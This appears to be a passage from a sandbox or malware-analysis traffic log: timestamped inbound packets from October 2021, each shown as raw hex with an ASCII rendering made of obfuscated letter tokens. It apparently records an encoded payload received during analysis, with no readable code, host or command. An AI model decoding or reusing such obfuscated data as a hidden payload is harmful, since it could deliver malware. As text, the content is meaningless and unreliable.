45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4f 74 52 20 59 51 20 59 59 20 6b 4b 20 4f 4f 6b 20 4f 4f 20 4f 78 78 20 4f 4f 45 20 
59 78 20 59 6f 20 74 45 20 4f 45 
Data Ascii:  KQ Yx Yx Kt oxO OOt OxQ Ooo tR Yk YO YK kx Oo OoK Oxk OOo YK oQ o Eo Ek ook OoY OxQ x Ek ooK 
RE YK kK OOo QE oOE OOo Yx Yk Et Okt oOt OOK OOt Oxk kY ER Ek Ek Ex oEo OOK OOt OxE oOx oR OKO Yx YK 
QK Qx oxE OxQ OOo YR OtR YQ YY kK OOk OO Oxx OOE Yx Yo tE OE

2021-10-29 15:55:36 UTC 1697 IN Data Raw: 20 59 4b 20 6b 6f 20 6f 51 20 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 52 20 52 6b 20 59 78 20 4f 6f 4b 20 6f 78 
52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 78 51 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 6b 6b 20 4f 78 59 20 6b 
52 20 45 6b 20 6f 74 20 59 59 20 45 78 20 74 78 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 51 59 20 4b 51 20 59 78 20 
4b 6b 20 4f 6f 52 20 59 6f 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 78 20 4f 6b 78 20 4f 4f 4b 20 4f
4f 74 20 4f 78 74 20 45 4f 20 52 59 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 52 20 59 6f 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 
4f 20 4b 6b 20 59 6f 20 45 78 20 4f 74 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 51 45 20 4b 51 20 59 78 20 4b 6b 
20 4f 6f 52 20 45 6f 20 4f 4f 6b 20 
Data Ascii:  YK ko oQ K Oxk OOo Yo oR Rk Yx OoK oxR OOR OxQ OOk oR oxQ Yx YK ko kt kk OxY kR Ek ot YY Ex tx 
OOK OOt tx EO QY KQ Yx Kk OoR Yo OOE RQ oxK YO Kk Yo Ex Okx OOK OOt Oxt EO RY KQ Yx Kk OoR Yo OOE RQ 
oxK YO Kk Yo Ex OtR OOK OOt Oxt EO QE KQ Yx Kk OoR Eo OOk 

2021-10-29 15:55:36 UTC 1701 IN Data Raw: 45 6b 20 52 6f 20 45 51 20 6b 78 20 51 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 59 51 20 59 78 20 59 
4b 20 51 4b 20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6b 20 45 45 20 4f 6f 20 4f 6f 52 20 4f 6f 
59 20 4f 78 52 20 6f 59 4b 20 51 4f 20 4f 59 20 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 
6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6b 4f 20 59 78 20 4f 4f
6f 20 6f 4b 45 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 4b 20 4f 6f 6f 20 4f 4f 4b 20 6f 
4b 51 20 6f 4f 59 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 4f 6f 20 4f 4f 74 20 74 74 20 4f 4f 6f 20 4f 
59 45 20 6f 59 4f 20 59 
Data Ascii: Ek Ro EQ kx QK OOK OoK OOR QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yk EE Oo OoR OoY OxR oYK 
QO OY ox oxO OtO OKO OtO OOx kR oER Kk Yo ok kY Yx OOt OxQ OOo Yx kO Yx OOo oKE OOK OOk Qk OOo Yx KQ 
Yx YK Ooo OOK oKQ oOY OOo KQ Yk Yx YK kY OOo OOt tt OOo OYE oYO Y

Timestamp
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2021-10-29 15:55:36 UTC 1706 IN Data Raw: 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 4f 51 4f 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 
4f 4f 52 20 74 6f 20 4f 78 6f 20 4b 6f 20 4f 6b 51 20 4f 78 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 6b 78 20 4f 6f 45 20 4f 4f 4f 
20 6b 20 4f 74 45 20 6f 45 20 45 45 20 74 59 20 4b 52 20 6f 45 6f 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 4f 4b 
6b 20 52 74 20 6f 51 20 59 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 45 6f 20 4b 6b 20 52 51 20 51 51 20 6f 52 20 74 
45 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 74 78 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 51 74 20 45 6f 20 6f 6b 
20 59 45 20 45 51 20 74 78 20 6f 59 6f 20 6f 6b 20 4f 6f 6f 20 52 4b 20 59 45 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 
78 20 51 4b 20 4f 78 59 20 51 74 20 
Data Ascii: QK oQ kO OxQ OOo YR EQ OQO OOx kK OOK OOR to Oxo Ko OkQ OxK YK kK OOY kx OoE OOO k OtE o
E EE tY KR oEo Ex to Yx Kk YR OKk Rt oQ YQ OxQ OOo YR EY Eo Kk RQ QQ oR tE OOo Yx Yk RY Otx kY OOK OOY 
to Qt Eo ok YE EQ tx oYo ok Ooo RK YE tk KK YK kK Oox QK OxY Qt 

2021-10-29 15:55:36 UTC 1710 IN Data Raw: 20 6b 74 20 51 51 20 6f 20 4f 45 6f 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 4f 45 51 20 4f 4f 4b 20 4f 4f 74 20 4f 
78 45 20 51 6b 20 4b 6b 20 6f 4b 20 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 51 20 59 6b 20 4f 4b 45 20 6f 78 59 20 6f 78 
74 20 6f 45 52 20 59 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 45 20 4f 6f 78 20 59 78 20 4b 6b 20 4b 4f 20 6b 51 20 51 
59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 74 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 74 6f 20 4f 4f 6b 20
74 59 20 4f 74 4b 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 6f 20 45 45 20 4f 4f 6f 20 59 78 20 59 78 
20 59 78 20 59 4b 20 6b 4b 20 4f 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 45 78 20 4b 6b 20 59 78 20 59 4b 20 6f 78 
74 20 4f 4f 59 20 4f 4f 74 20 4f 
Data Ascii:  kt QQ o OEo Yx Kk Yo kQ OEQ OOK OOt OxE Qk Kk oK t YK kK Oox tQ Yk OKE oxY oxt oER YR tx OOo 
OEQ OoE Oox Yx Kk KO kQ QY OOK OOt OxE Oto oER YO ox oEo kK Oto OOk tY OtK Yx YK oK YK kK OOK Yo EE 
OOo Yx Yx Yx YK kK OYE OOt OxQ OOo OEx Kk Yx YK oxt OOY OOt O

2021-10-29 15:55:36 UTC 1714 IN Data Raw: 4b 20 4f 4f 4b 20 51 4f 20 4f 78 51 20 4f 4f 6f 20 45 59 20 4b 74 20 52 4f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 
4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4f 59 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 
59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 78 59 20 45 4f 20 4f 74 20 4b 6b 20 59 78 20 52 78 
20 51 59 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 78 20 59 45 20 6b 51 20 4b 51 20 4f 4f 4b 20 4f 4f 74 
20 4f 78 45 20 4f 78 74 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 4f 74 45 20 4f 4f 6f 20 
59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 4f 
78 59 20 4f 4f 4b 20 4f 4f 74 20 4f 
Data Ascii: K OOK QO OxQ OOo EY Kt RO Okt OK OOK OOt Oxk kY ooR oOY Yx YK kx Qx RR OxQ OOo YR Rt Ox YK 
kK Oox Oot OxY EO Ot Kk Yx Rx QY Oo Oxt OxQ OOo YR Rx YE kQ KQ OOK OOt OxE Oxt OQO OxR Yx YK kY kt 
ORY OtE OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Ex OxY OOK OOt O

2021-10-29 15:55:36 UTC 1718 IN Data Raw: 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 
59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 59 52 20 6f 45 6f 20 51 59 20 4f 74 6f 20 
4f 4f 6b 20 74 59 20 4f 74 4b 20 59 78 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 59 20 4f 78 74 20 51 78 20 
59 78 20 4b 6b 20 59 78 20 59 59 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6f 20 6b 
20 6b 4b 20 4f 4f 45 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 4b 6b 20 6b 4b 20 51 6b 20 4f 4f 52 20 4f 
78 51 20 4f 4f 6f 20 45 20 4b 6b 20 59 78 20 45 51 20 45 51 20 4f 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 74 6
b 20 6f 4f 74 20 59 4b 20 6b 4b 20 
Data Ascii: xK Kk Yx YY OOE ORo oxO OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk YR oEo QY Oto OOk tY OtK Yx 
tk KK YK kK Oox QY Oxt Qx Yx Kk Yx YY Rk OOK OOt OxQ OOo Yx Kk Oo k kK OOE Oot OxQ OOo YO KE o Kk kK Qk 
OOR OxQ OOo E Kk Yx EQ EQ OtK OOt OxQ Ooo YR tk oOt YK kK 

2021-10-29 15:55:36 UTC 1720 IN Data Raw: 59 78 20 45 51 20 45 51 20 4f 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 59 4b 20 52 59 20 4f 51 59 
20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 6f 20 74 78 20 59 74 20 59 78 20 74 78 20 4f 6f 4b 20 4f 74 20 4f 4f 74 20 4f 78 
51 20 4f 6f 6f 20 52 4b 20 4f 6f 4f 20 59 52 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 
20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 4f 6b 20 4f 6f 6f 20 59 78 20 52 4b 20 52 4b 20 4f 59 45 20 51 4b 20 4f 4f 
4b 20 59 20 4f 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 74 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 
4f 4f 20 4b 6b 20 59 78 20 52 78 20 59 51 20 4f 45 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 52 20 4f 4b 4f 20 
52 78 20 6b 4b 20 6f 20 74 20 4f 
Data Ascii: Yx EQ EQ OtK OOt OxQ Ooo YR YK RY OQY kK OOK OOY to o tx Yt Yx tx OoK Ot OOt OxQ Ooo RK OoO 
YR YK ER Oo Oxt OxQ OOo YR QY KY YK kK Oox t Ok Ooo Yx RK RK OYE QK OOK Y OQ OOx Yx Kk YR Ex tY OOK 
OOt OxE kk OO Kk Yx Rx YQ OEx OOt OxQ OOk oE RR OKO Rx kK o t O

2021-10-29 15:55:36 UTC 1724 IN Data Raw: 20 4b 6b 20 59 4b 20 45 51 20 6b 6f 20 51 51 20 4f 6f 4b 20 59 45 20 51 74 20 52 78 20 51 78 20 4f 78 52 20 
51 59 20 52 51 20 4f 6f 78 20 4f 78 78 20 51 6b 20 6f 59 59 20 6f 6b 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 6b 52 20 4f 4f 
74 20 4f 78 51 20 4f 4f 52 20 51 4f 20 51 59 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 6b 59 20 6f 6f 52 20 59 
78 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 4f 78 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 59 45 20 59 52 20 4f 78 52 20 4f 
6b 59 20 4f 78 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 20 6f 74 20 4b 6b 20 59 78 20 59 78 20 52 51 20 4f 6f 59 20 4f 
78 52 20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6
f 20 59 4b 20 6f 4b 20 59 20 59 4b 
Data Ascii:  Kk YK EQ ko QQ OoK YE Qt Rx Qx OxR QY RQ Oox Oxx Qk oYY ok Kk Yx Yo Kt kR OOt OxQ OOR QO QY 
OQo YK kK Oox oOY kY ooR Yx Kk Yx Yo Kt Oxo OOt OxQ OOR YE YR OxR OkY Oxx OOK OOt OOO OO ot Kk Yx Yx 
RQ OoY OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK

2021-10-29 15:55:36 UTC 1728 IN Data Raw: 4f 4f 6f 20 59 78 20 59 78 20 4b 59 20 59 6b 20 6f 4f 74 20 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 6f 45 20 
6f 6f 4b 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 45 20 51 78 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 4b 20 6b 
4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 45 78 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 51 6b 20 4f 4f 74 20 4f 78 51 
20 4f 4f 52 20 45 59 20 59 6b 20 45 59 20 59 51 20 4f 6f 20 51 51 20 4f 6f 45 20 4f 6f 45 20 6f 45 78 20 4f 78 52 20 45 45 
20 52 78 20 45 45 20 4f 51 4b 20 4b 6f 20 4f 78 78 20 51 51 20 4f 78 4b 20 4f 52 4b 20 4f 78 4b 20 45 59 20 59 52 20 74 
74 20 6f 6f 6b 20 4b 59 20 4b 20 51 74 20 52 78 20 4b 6f 20 4f 52 4b 20 51 59 20 59 51 20 4f 6f 6b 20 4f 4f 74 20 4f 78 51 
20 4f 6f 6f 20 74 51 20 6f 4b 20 59 78 
Data Ascii: OOo Yx Yx KY Yk oOt Kx OOt OxQ OOE oE ooK OQo YK kK OOk QE Qx OOo Yx Yk RY OK kK OOK Oot RQ 
Ex Yx Kk YR Yo Kt Qk OOt OxQ OOR EY Yk EY YQ Oo QQ OoE OoE oEx OxR EE Rx EE OQK Ko Oxx QQ OxK ORK 
OxK EY YR tt ook KY K Qt Rx Ko ORK QY YQ Ook OOt OxQ Ooo tQ oK Yx

2021-10-29 15:55:36 UTC 1732 IN Data Raw: 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4b 78 20 4f 78 52 20 4b 6b 20 4b 51 20 52 
78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 6f 52 20 6b 6f 20 59 78 20 59 4b 20 51 4b 20 6b 6b 20 51 51 
20 4f 4f 78 20 4f 78 4b 20 6f 78 4b 20 4b 51 20 6f 4b 20 59 4b 20 6b 4b 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 52 
74 20 4b 6b 20 59 78 20 59 4b 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 51 45 20 4f 59 45 20 59 4f 20 59 
4b 20 6b 6f 20 4f 78 4f 20 6f 4b 6b 20 59 45 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 45 6b 20 4f 74 6f 20 4f 4f 4b 
20 4f 78 51 20 78 20 4f 4b 4b 20 45 51 20 51 45 20 4f 6f 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 45 20 59 4f 20 
4b 51 20 59 78 20 52 78 20 6b 6f 
Data Ascii: o Yx YK kK OOK OOt OxQ Kx OxR Kk KQ Rx kK OOK OOR OOY OOK oR ko Yx YK QK kk QQ OOx OxK oxK 
KQ oK YK kK OxY RQ OxK OOo Rt Kk Yx YK OOO OOK OOt OoK OOY QE OYE YO YK ko OxO oKk YE OOo Yx KQ oE 
Eo Ek Oto OOK OxQ x OKK EQ QE Oox kK OOK Oot OxE E YO KQ Yx Rx ko
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2021-10-29 15:55:36 UTC 1736 IN Data Raw: 59 20 4f 4f 4b 20 4f 6f 74 20 74 6f 20 6f 4b 78 20 45 51 20 4b 51 20 59 78 20 59 78 20 4f 6f 4b 20 4f 78 6b 20 
4f 4f 74 20 4f 78 51 20 51 4f 20 6f 45 20 6f 51 20 52 6f 20 4f 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 78 20 52 74 20 59 
78 20 4b 6b 20 4b 4f 20 52 6f 20 4f 6f 74 20 59 51 20 4f 4f 20 4f 6f 45 20 4f 4f 45 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 52 
74 20 6b 4b 20 4f 4f 20 4f 6f 4f 20 4f 4f 45 20 59 78 20 59 6f 20 6f 78 4b 20 4b 6b 20 74 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 7
4 20 45 20 4b 4f 20 4b 51 20 59 78 20 52 78 20 4f 4f 45 20 6f 4b 6f 20 51 51 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 4b 20 
4b 59 20 59 4b 20 6b 4b 20 6b 51 20 6b 78 20 52 4b 20 4f 6f 4b 20 6f 78 20 45 4b 20 4b 6b 20 6f 78 78 20 52 59 20 52 59 
20 4f 4f 74 20 4f 78 51 20 4f 78 
Data Ascii: Y OOK Oot to oKx EQ KQ Yx Yx OoK Oxk OOt OxQ QO oE oQ Ro OR tx OOo OEQ Oox Rt Yx Kk KO Ro Oot 
YQ OO OoE OOE Yx Yo oE ot Rt kK OO OoO OOE Yx Yo oxK Kk to OOo OOt Oxt E KO KQ Yx Rx OOE oKo QQ Oxk 
OOo YK oK KY YK kK kQ kx RK OoK ox EK Kk oxx RY RY OOt OxQ Ox

2021-10-29 15:55:36 UTC 1741 IN Data Raw: 52 78 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 45 52 20 4f 4f 45 20 59 78 20 59 6b 20 52 59 20 4f 6f 4b 20 6b 59 20 
4f 4f 4b 20 4f 6f 74 20 52 51 20 6b 6f 20 59 78 20 4b 6b 20 6f 59 20 45 78 20 4f 4f 51 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 4f 
6f 6f 20 59 6f 20 45 6b 20 4f 52 52 20 6f 6f 20 4f 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 52 74 20 59 52 20 59 4b 20 
45 74 20 4f 52 6f 20 4f 4f 52 20 6f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 6b 20 4f 52 20 59 6f 20 45 6f 20 4f 51 6f 20 
6b 6f 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 45 20 52 78 20 4b 6b 20 52 74 20 6f 45 78 20 4f 78 52 20 4f 6f 59 20 
52 52 20 59 45 20 59 4b 20 45 74 20 4f 52 6f 20 74 59 20 4f 78 51 20 52 6b 20 4f 78 4f 20 4f 4f 6b 20 45 52 20 4f 52 4b 20 
4b 59 20 52 78 20 4f 74 78 20 
Data Ascii: Rx RK OKx OOY ER OOE Yx Yk RY OoK kY OOK Oot RQ ko Yx Kk oY Ex OOQ OOK OOt tx Ooo Yo Ek 
ORR oo OKk OOK OOt OxQ Rt YR YK Et ORo OOR oOk OOt OxQ OOo ok OR Yo Eo OQo ko oOt OxQ OOo Yx E Rx Kk 
Rt oEx OxR OoY RR YE YK Et ORo tY OxQ Rk OxO OOk ER ORK KY Rx Otx 

2021-10-29 15:55:36 UTC 1745 IN Data Raw: 6f 20 4f 4f 4b 20 6f 59 20 4f 51 59 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 
74 20 6b 52 20 4f 4f 6f 20 74 74 20 4f 45 6b 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 
59 78 20 4b 20 59 78 20 4f 52 4b 20 4f 4b 52 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 
59 4b 20 6b 6f 20 4f 4f 4b 20 4f 6b 59 20 4f 51 4f 20 4f 4f 6f 20 4b 51 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 
52 51 20 4f 4f 78 20 4f 4f 6f 20 6f 59 45 20 4b 6b 20 59 78 20 59 4b 20 6f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 
59 59 20 4b 6b 20 59 78 20 52 78 20 51 4b 20 4f 6f 20 51 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 52 52 20 51 51 20 59 52 20 6
b 4b 20 6f 20 6f 52 20 4f 6f 51 20 
Data Ascii: o OOK oY OQY OOo YR Kk Yx YK kK OOo OOt kR OOo tt OEk Yx Rx kK OOK OOt OxQ OOK Yx K Yx ORK 
OKR OOK Oot OxQ OOo Yx Kk Yx YK ko OOK OkY OQO OOo KQ RE Yx YK kY OxY RQ OOx OOo oYE Kk Yx YK oK 
OOK OOt OoK E OYY Kk Yx Rx QK Oo Q Oxk OOo YR RR QQ YR kK o oR OoQ 

2021-10-29 15:55:36 UTC 1749 IN Data Raw: 59 59 20 59 51 20 4f 52 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 
20 51 51 20 4f 4f 59 20 6f 20 6b 20 59 4f 20 4b 6b 20 59 52 20 6f 74 20 4f 51 45 20 4f 74 6f 20 4f 6f 4f 20 4f 6f 4b 20 4f 4f 
6b 20 45 78 20 59 59 20 45 59 20 4b 6b 20 59 51 20 4f 6f 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 45 6b 20 6f 45 6b 20 
52 6f 20 45 51 20 6b 4f 20 51 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 4f 74 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 20 4f 74 
4b 20 4f 74 4f 20 51 74 20 51 74 20 59 4b 20 6f 6b 20 59 45 20 45 51 20 6b 78 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 2
0 59 52 20 6f 45 52 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 4f 20 4f 78 45 20 4f 78 52 20 52 78 20 
59 6b 20 4b 51 20 6f 4f 6b 20 
Data Ascii: YY YQ ORE OOt OxQ Ooo oER YO ox oEo kK QQ OOY o k YO Kk YR ot OQE Oto OoO OoK OOk Ex YY EY 
Kk YQ OoO OOt OxQ Ooo oEk oEk Ro EQ kO QK OOK OoK OOt QE YQ Yx YK QK OtK OtO Qt Qt YK ok YE EQ kx oQ 
OoR OxQ OOo YR oER oER YE OOK Oto OOt OxO OxE OxR Rx Yk KQ oOk 

2021-10-29 15:55:36 UTC 1752 IN Data Raw: 6f 6f 6b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 45 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 6b 20 59 4b 20 4b 20 4f 4f 4b 20 
6f 4b 20 6f 78 6b 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 45 52 20 4f 4f 6f 20 4f 
74 6b 20 6f 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 59 78 
20 4f 52 59 20 4f 6f 51 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 
4b 20 4f 74 4b 20 4f 4b 78 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 
4f 6f 20 4f 78 6b 20 4b 51 20 59 78 20 59 4b 20 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 4b 51 20 4b 6b 20 59 78 
20 52 78 20 51 4b 20 4f 78 51 
Data Ascii: ook OOK OOk OxE OOo Yx KQ Kk YK K OOK oK oxk OOo YR Kk Yx YK kK OOo OOt ER OOo Otk oKQ Yx 
Rx kK OOK OOt OxQ OOK Yx OOK Yx ORY OoQ OOK Oot OxQ OOo Yx Kk Yx YK ko OOK OtK OKx OOo KQ Yk Yx YK 
kY OxY RQ OxK OOo Oxk KQ Yx YK K OOK OOt OoK E OKQ Kk Yx Rx QK OxQ

2021-10-29 15:55:36 UTC 1756 IN Data Raw: 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 45 51 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 
51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 
20 59 6f 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 4b 59 20 6b 4b 20 
4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 
20 45 4f 20 6f 6f 74 20 4b 6b 20 59 78 20 52 78 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 74 20 59 45 
20 45 78 20 52 6f 20 6b 4f 20 6f 59 6f 20 6b 51 20 4f 78 59 20 4f 4f 52 20 4b 51 20 4f 20 4b 6b 20 4b 51 20 4f 6f 52 20 4f 4
f 4b 20 4f 4f 51 20 52 51 20 4f 52 
Data Ascii:  OOt Oxk kY ooR OEQ Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR Okk OOo Yx Yk Yo KO Qx oYY Kt 
OxQ OOo YO oO ooR oKY kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO oot Kk Yx Rx EQ oOE OOt OxQ 
Ooo Yt YE Ex Ro kO oYo kQ OxY OOR KQ O Kk KQ OoR OOK OOQ RQ OR

2021-10-29 15:55:36 UTC 1760 IN Data Raw: 4f 6b 20 4f 4f 6f 20 4f 4f 6b 20 4f 52 20 52 52 20 59 78 20 4b 6b 20 59 4b 20 6f 6b 20 74 4b 20 4f 4f 6f 20 4f 4b 
20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20
6f 4b 20 4b 78 20 6b 52 20 51 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 52 
59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 
20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 51 
6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 
78 59 20 51 78 20 4b 4b 20 59 
Data Ascii: Ok OOo OOk OR RR Yx Kk YK ok tK OOo OK QK OOo Yx Yo oK ox kR OOE k QK OOo Yx Yo oK Kx kR Q 
RY OxQ OOo YK oR OR Yo kt OY RY OxQ OOo YK oR KK Yo Kt tO OOt OxQ OOR oK Ok Kk YE KO tO OOt OxQ OOR 
